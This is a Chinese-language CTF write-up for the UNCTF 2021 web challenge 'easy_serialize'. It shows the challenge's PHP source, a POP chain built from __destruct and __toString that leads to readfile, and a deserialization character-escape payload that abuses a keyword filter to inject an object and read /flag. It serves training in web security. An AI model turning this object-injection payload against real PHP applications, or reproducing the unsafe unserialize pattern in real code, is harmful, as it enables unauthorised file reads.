ctf题目平台:UNCTF - HACKING 4 FUN。web题难度适中
easy_serialize
题目源码:
<?php
include "function.php";
$action = @$_POST['action'];
$name = $_POST['name'];
$pass = $_POST['pass'];
$email = $_POST['email'];
function filter($file){
$filter_arr = array('flag','php','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$file);
}
$a= $_GET['a'];
$b = $_GET['b'];
$u = new UNCTF($pass,$email,$name);
$s = serialize($u);
switch($action){
case 1:
highlight_file('function.php');
break;
default:
highlight_file('index.php');
}
if(md5($a) == md5($b) && $a !=$b){
unserialize(filter($s));
}
当post接收到的action参数为1时读function.php。md5弱比较就不说了。 function.php源码:
<?php
class me7eorite{
//test
public $safe;
public $class;
public function __construct()
{
$this->safe = "/etc/passwd";
$this->class=new UNCTF('me7eorite','me7eorite@qq.com','me7eorite');
}
public function __toString()
{
$this->class->getShell();
return '';
}
public function getShell(){
readfile($this->safe);
}
}
class UNCTF{
public $pass;
public $email;
public $name;
public function __construct($pass,$email,$name)
{
$this->pass = $pass;
$this->name = $name;
$this->email = $email;
}
public function getShell(){
echo 'flag{this_is_fake}';
}
public function __destruct()
{
echo $this->name . 'Welcome to UNCTF 2021!';
}
}
利用入口在me7eorite类的getshell方法下的readfile。 进入readfile的过程为:unserialize $s->UNCTF析构函数把name当字符串,name为me7eorite对象时调用tostring->str指向me7eorite对象就能调用到子对象的getshell->读文件
所以pop链应为:
<?php
class me7eorite{
//test
public $safe;
public $class;
public function __construct()
{
$this->safe = "/flag";
$this->class='1'; //随便写一个,后面要重新赋值
}
public function __toString()
{
$this->class->getShell();
return '';
}
public function getShell(){
readfile($this->safe);
}
}
class UNCTF{
public $pass;
public $email;
public $name;
public function __construct($pass,$email,$name)
{
$this->pass = $pass;
$this->name = $name;
$this->email = $email;
}
public function __destruct()
{
echo $this->name . 'Welcome to UNCTF 2021!';
}
}
$me7 = new me7eorite();
$me7->class = new me7eorite();
$unctf = new UNCTF('1','2',$me7);
echo serialize($unctf);
?>
可问题是该怎么传值,如果在name直接传入输出结果,其他两个随意,比如pass='1'&email='2',传入参数后需要是如下格式。 O:5:"UNCTF":3:{s:4:"pass";s:1:"1";s:5:"email";s:1:"2";s:4:"name";O:9:"me7eorite":2:{s:4:"safe";s:5:"/flag";s:5:"class";O:9:"me7eorite":2:{s:4:"safe";s:5:"/flag";s:5:"class";s:1:"1";}}}
如果直接传入后半截s:4:"name";O:9:"me7eorite":2:{s:4:"safe";s:5:"/flag";s:5:"class";O:9:"me7eorite":2:{s:4:"safe";s:5:"/flag";s:5:"class";s:1:"1";}}} 序列化后的结果为: O:5:"UNCTF":3:{s:4:"pass";s:1:"1";s:5:"email";s:1:"2";s:4:"name";s:130:"s:4:"name";O:9:"me7eorite":2:{s:4:"safe";s:5:"/flag";s:5:"class";O:9:"me7eorite":2:{s:4:"safe";s:5:"/flag";s:5:"class";s:1:"1";}}}";}s:4:"name";O:9:"me7eorite":2:{s:4:"safe";s:5:"/flag";s:5:"class";O:9:"me7eorite":2:{s:4:"safe";s:5:"/flag";s:5:"class";s:1:"1";}}}。当闭合最开始的花括号时序列化完毕,也就是有效部分只有: O:5:"UNCTF":3:{s:4:"pass";s:1:"1";s:5:"email";s:1:"2";s:4:"name";s:130:"s:4:"name";O:9:"me7eorite":2:{s:4:"safe";s:5:"/flag";s:5:"class";O:9:"me7eorite":2:{s:4:"safe";s:5:"/flag";s:5:"class";s:1:"1";}}}会发现和有效部分一模一样,唯一不同的是中间多出来了s:130:"s:4:"name";
反序列化字符逃逸(字符串变短)
字符逃逸详解:https://blog.csdn.net/qq_45521281/article/details/107135706 在有filter过滤的情况下,由于是先过滤再反序列化,字符会被过滤,但是字符的个数是不会变得。 比如email成员为字符串aa,aa被过滤的情况下email序列化就是:s:5:"email";s:2:"aa";->s:5:"email";s:2:""; 即第二个双引号和分号会被当成email的内容而导致错误。每过滤一个aa,就会多出两个可控制字符
所以在这道题, 过滤flag可以空出四个字符,过滤php空出三个字符。
不好描述,就写了一下,如上,多出来19个字符";s:4:"name":s:130:,但是这样构造email不能闭合,所以传进去的name最前面还要加个分号;用于闭合email。name=;s:4:"name";O:9:"me7eorite":2:{s:4:"safe";s:5:"/flag";s:5:"class";O:9:"me7eorite":2:{s:4:"safe";s:5:"/flag";s:5:"class";s:1:"1";}}},19个字符需要逃逸,flagflagflagflagphp正好19个。
需要注意的是因为filter要过滤flag,所以在反序列化后双写。注意是反序列化后,因为序列化的过程是先过滤,所以string的个数是过滤后的。


















